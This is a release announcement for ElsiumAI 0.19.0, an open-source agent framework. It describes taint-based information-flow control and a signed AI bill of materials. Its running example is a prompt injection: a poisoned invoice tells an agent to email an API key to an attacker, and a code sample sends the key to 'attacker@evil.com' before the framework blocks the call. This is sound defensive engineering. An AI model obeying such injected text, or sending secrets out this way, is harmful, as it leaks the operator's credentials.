Release August 5, 2026 · 11 min read

ElsiumAI 0.19.0: Information-Flow Control and the AI-BOM

Two additions, and they answer two questions the framework could not answer before. What is allowed to leave this context, given everything that has entered it? And what, exactly, is this agent made of?

Everything ElsiumAI shipped up to now governs the caller. A capability token says this agent may call send_email. A policy says this run may not exceed $5. Those checks are about identity and budget, and they hold. But once a retrieved document or a tool result lands in the context window, it becomes undifferentiated text, and every decision after that is made blind.

0.19.0 adds the missing half: governance for the data, and a signed record of the composition.


What’s in the release

AdditionPackagesWhat it gives you
Information-flow control core, gateway, tools Taint labels that travel with values, join monotonically as values merge, and are checked against a deny-only policy at every sink — the LLM call and every tool.
AI-BOM observe, cli An Ed25519-signed manifest of models, prompts, tools, MCP servers, datasets, policies and thresholds, with offline verification and a CI gate on composition drift.
Dependency hardening app All 8 advisories reported by bun audit cleared (5 high, 3 moderate), including a ReDoS in the CORS middleware and a Windows path traversal in static file serving.

46 tests for information flow, 25 for the AI-BOM, and a runnable example for each that needs no API key.


1. Information-flow control

Start with the failure this is designed around.

An agent holds an API key. It retrieves an invoice from a document store. The document has been poisoned: it contains text instructing the model to email the key to an attacker. The model reads it and complies — it calls send_email with the key in the body.

Every check the agent has passes. The token permits send_email; it is a tool this agent is meant to use. The budget is fine. The content classifier saw a document about an invoice.

Information-flow control makes that call fail anyway.

Labels travel with the value

Every value can carry a TaintLabel: sensitivity classes, an origin, and sources for audit.

import { taint } from '@elsium-ai/core'

const key = taint('sk-live-...', { classes: ['secret'], origin: 'trusted', source: 'vault' })

origin has three values, and the middle one is the interesting one:

OriginMeaning
trustedOperator-authored: system prompts, hardcoded config.
modelLLM output. Derived from whatever was in context, so it cannot launder untrusted input into trusted standing.
untrustedEverything from outside: user input, retrieved documents, tool results, MCP responses. This is the default when you omit it — safe by omission.

DataClass is the same free-form string type capability tokens already use. A token permitting dataClasses: ['pii'] and a flow rule denying pii at the network are referring to one vocabulary, not two that can be satisfied while contradicting each other.

Joins only move upward

When values merge, their labels merge with them — a least upper bound. Classes and sources union; origin becomes the least trusted of the two.

import { joinAll, joinLabels } from '@elsium-ai/core'

joinLabels(
  { classes: ['secret'], origin: 'trusted', sources: ['vault'] },
  { classes: ['pii'], origin: 'untrusted', sources: ['doc-882'] },
)
// { classes: ['secret', 'pii'], origin: 'untrusted', sources: ['vault', 'doc-882'] }

The join is commutative, associative, idempotent and monotonic. That is not decoration — it is the guarantee. No sequence of merges can wash a taint out, so a check performed at the end of a run is meaningful even though the model has already read everything. Those four properties are tested as properties, not as examples.

Deny-only policies

A policy is a list of rules over sinks and label conditions. A sink is kind:namellm:anthropic, tool:send_email, network:api.stripe.com — matched with * globs.

import { createFlowPolicy } from '@elsium-ai/core'

const policy = createFlowPolicy([
  {
    name: 'eu-pii-stays-in-eu',
    sink: ['llm:openai', 'llm:anthropic-us'],
    deny: { hasClasses: ['pii:eu'] },
    reason: 'EU personal data may not reach a US-hosted model',
  },
])

Rules are evaluated in order, first match wins, and no match allows. There is no allow rule, on purpose: an allow/deny mix forces authors to reason about precedence, and precedence bugs in a security control fail open. A rule with no conditions throws at construction rather than silently blocking every flow to its sink.

The lethal trifecta rule

An agent is exploitable when three things share one context:

  1. Sensitive data — the thing worth stealing.
  2. Untrusted content — text from outside that can carry instructions.
  3. An outbound sink — a way to send something out.

Any two are fine. All three is an exfiltration path. lethalTrifectaRule() blocks the combination:

import { createFlowPolicy, lethalTrifectaRule } from '@elsium-ai/core'

const policy = createFlowPolicy([lethalTrifectaRule()])
// denies ['secret','pii'] + untrusted origin reaching network:* / tool:* / mcp:*

Note what this is not doing. It is not looking at the text of the retrieved document. Detecting whether a paragraph is trying to manipulate a model is a question with no stable answer — input classification is genuinely useful as a layer, and ElsiumAI ships detectPromptInjection for exactly that, but any detector can be reworded around. This asks a different question: given everything now in the context, may data reach this destination at all? That one is decidable.

The tracker, and the two enforcement points

createFlowTracker is the per-run accumulator. Labels go in as data enters the context; sinks are checked against the accumulated label.

const tracker = createFlowTracker({ policy, onDeny: (d) => audit.record(d) })

Trackers are per-run. Sharing one across independent requests leaks taint between them.

Two wrappers plug it into the runtime. At the gateway, flowMiddleware labels each message by role and checks llm:<provider> before the request leaves:

import { createFlowPolicy, createFlowTracker } from '@elsium-ai/core'
import { flowMiddleware, gateway } from '@elsium-ai/gateway'

const llm = gateway({
  provider: 'openai',
  apiKey: env('OPENAI_API_KEY'),
  middleware: [
    flowMiddleware({
      tracker,
      classify: ({ text }) => (looksLikeEuPii(text) ? { classes: ['pii:eu'] } : undefined),
    }),
  ],
})

system is trusted, assistant is model, and user/tool are untrusted — a user message is data, never instructions, no matter what it says. This is where jurisdiction rules live: the check never inspects prompt contents, so “EU-classified data never reaches a US-hosted model” is enforceable without a content scanner.

At the tool layer, withFlowControl gates on accumulated provenance:

import { createFlowPolicy, createFlowTracker, lethalTrifectaRule } from '@elsium-ai/core'
import { withFlowControl } from '@elsium-ai/tools'

const tracker = createFlowTracker({ policy: createFlowPolicy([lethalTrifectaRule()]) })

const guardedInvoice = withFlowControl(fetchInvoice, { tracker })
const guardedEmail = withFlowControl(sendEmail, { tracker })

const apiKey = tracker.unwrap(key)              // context: trusted + [secret]
await guardedInvoice.execute({ id: '882' })     // context: untrusted + [secret] -- trifecta complete
await guardedEmail.execute({ to: 'attacker@evil.com', body: apiKey })
// { success: false, error: 'Flow denied: context holds sensitive data alongside...' }

Denial returns an unsuccessful ToolExecutionResult rather than throwing, matching how withCapability already behaves. The agent loop sees a failed tool call and carries on, so a blocked exfiltration does not crash the run — and the handler never executes, so the side effect never happens.

This composes with capability tokens rather than replacing them. withCapability asks “may this agent call send_email?” and the answer is yes. withFlowControl asks whether data may reach that destination given what is now in context, and the answer is no. You want both.

Declassification is deliberately awkward

Labels only move upward, which would make any real workflow unusable if there were no way down. There is exactly one, and it is designed to leave a mark:

declassify(reviewed, {
  to: { origin: 'trusted' },
  reason: 'approved by compliance',
  by: 'analyst-7',
})
// label.sources gains 'declassified-by:analyst-7'

Explicit call, mandatory reason, recorded actor. Every declassification is a hole in the guarantee, so every one of them is greppable in the audit trail.

The net effect of all of this: a prompt injection can succeed — the model obeys — and the exfiltration still fails, because the check is on what is in the context, not on what the text said. There is no phrasing to evade.


2. The AI-BOM

A lockfile pins zod@3.24.0. It says nothing about which model answers, which prompt steers it, or what the agent is allowed to execute — the things that actually determine how the system behaves. Those are the real dependencies of an AI system, and nothing was pinning them.

The AI-BOM pins them, signs them, and fails CI when they drift from what was approved.

Generating a signed manifest

import { createEd25519Signer, generateEd25519KeyPair } from '@elsium-ai/core'
import { generateAiBom } from '@elsium-ai/observe'

const pair = generateEd25519KeyPair()
const signer = createEd25519Signer({ privateKey: pair.privateKey, keyId: 'release-key' })

const bom = await generateAiBom(
  {
    agentId: 'loan-underwriter',
    agentVersion: '2.3.1',
    environment: 'production',
    models: [
      { provider: 'anthropic', model: 'claude-sonnet-4-6', role: 'primary', region: 'eu-west-1' },
    ],
    prompts: [{ name: 'system', version: '7', content: SYSTEM_PROMPT }],
    tools: [creditCheck],                 // a real Tool is accepted by shape
    datasets: [goldenSetManifest],        // a real DatasetManifest is too
    policies: [{ name: 'lending', version: '3', mode: 'enforce', document: bundle }],
    thresholds: { confidenceFloor: 0.8, maxCostUsd: 5 },
    runtime: { framework: 'elsium-ai', frameworkVersion: '0.19.0' },
  },
  { signer },
)

Tools are recorded with their schema hash, sandbox capabilities, side-effect level and approval requirement — not just their names. That is what makes drift detection meaningful later.

Component sources are matched structurally, not by import. @elsium-ai/observe depends on core alone, so you can hand it a real Tool from @elsium-ai/tools or a DatasetManifest from @elsium-ai/testing without coupling the packages together.

Generation is deterministic and order-independent: components are sorted by identity before hashing, so moving a defineTool call in a file never reads as a change.

Offline verification

const result = await verifyAiBom(bom, registry)
// {
//   valid: true, signatureValid: true, componentsHashValid: true, digestValid: true,
//   checked: { componentsHash: true, digest: true, signature: true },
// }

Three layers, inner to outer: the components still hash to componentsHash, the header still hashes to digest, and digest carries a signature from a trusted key. Public key only — no network, no API keys.

The checked field exists because verification short-circuits at the innermost failure. If the component hash fails, the signature is never evaluated, and reporting an unevaluated signature as invalid would misstate what was actually proven.

Drift, ranked by blast radius

const diff = diffAiBom(approvedBom, shippedBom)
// diff.drifts:    ComponentDrift[]  -- kind, componentKind, id, field, severity, reason
// diff.counts:    { critical, major, minor }
// diff.identical: true when the shipped agent matches what was approved

if (!passesGate(diff)) throw new Error('composition drift')

Severity answers exactly one question: did the blast radius grow, or did a control get weaker?

SeverityExamples
criticaltool added · sandbox capability widened · approval requirement dropped · handler source changed · model or region changed · policy removed or demoted to monitor · MCP server added or manifest changed
majorprompt revised · tool schema changed · threshold retuned · provider reshipped the same model name (fingerprint) · dataset content changed
minorframework version bumped · tool description edited · prompt version relabelled with identical content

One consequence worth calling out: a removed tool ranks major, while a removed policy ranks critical. Losing a capability is a correctness problem. Losing a control is a security one.

The gate is one line in CI

elsium bom verify ./aibom.json --public-key ./release.pub
elsium bom diff ./approved-bom.json ./aibom.json --fail-on critical
✗ [critical] tool "wire_transfer" is present in the current BOM but was never approved
✗ 3 change(s): 1 critical, 1 major, 1 minor -- gate --fail-on=critical FAILED

--fail-on takes critical (default), major, or minor. Add --verify to check both manifests’ signatures before comparing — diffAiBom is purely structural, and a diff against an unverified baseline proves nothing.

The scenario this is for: someone edits a system prompt on a Friday and ships. Tests still pass, because the tests never encoded the prompt. The BOM notices, because the hash changed and nobody re-approved it. And when an auditor asks what the system was made of on the day a particular decision was made, the answer is a signed document rather than a wiki page someone last touched in March.

This sits alongside signed execution proofs, which shipped in 0.15.0. A proof records one run. A BOM records the composition every run inherits.


The two, together

They meet in the same place: the tool manifest.

Information-flow control decides at runtime whether data may reach a sink. The AI-BOM records, at release time, which sinks exist at all — and ranks a newly added tool or a widened sandbox capability as critical drift. One stops the exfiltration in the moment; the other stops the surface from growing without anyone approving it.

// Runtime: this call is refused because of what is in the context
const guarded = withFlowControl(sendEmail, { tracker })

// Release: the same tool is pinned in the BOM, with its schema hash,
// sandbox capabilities, side-effect level and approval requirement.
// Widening any of those fails the gate.

Also in this release

@elsium-ai/app clears all 8 advisories reported by bun audit — 5 high, 3 moderate. The two that matter most for anyone running the HTTP server: hono moves to ^4.13.0 for a ReDoS in the CORS middleware, and @hono/node-server to ^2.1.0 for a path traversal in serve-static on Windows. No API changes.


Getting Started

npm install elsium-ai@0.19.0

Both features ship with a runnable example that needs no API key — examples/information-flow-control walks a successful injection whose exfiltration fails, and examples/ai-bom walks a Friday-afternoon change caught by the gate.

Full documentation: Information-Flow Control · flowMiddleware · withFlowControl · AI-BOM · elsium bom

If you missed the earlier releases, the 0.16.0 post covers fluent verification, pause/resume and auto-replay, and the 0.15.0 post covers the crypto foundation, capability tokens and signed execution proofs that this release builds on.


ElsiumAI is MIT licensed and open source. Created by Eric Utrera (@ebutrera9103).

E

Eric Utrera

Creator of ElsiumAI. Building production AI infrastructure.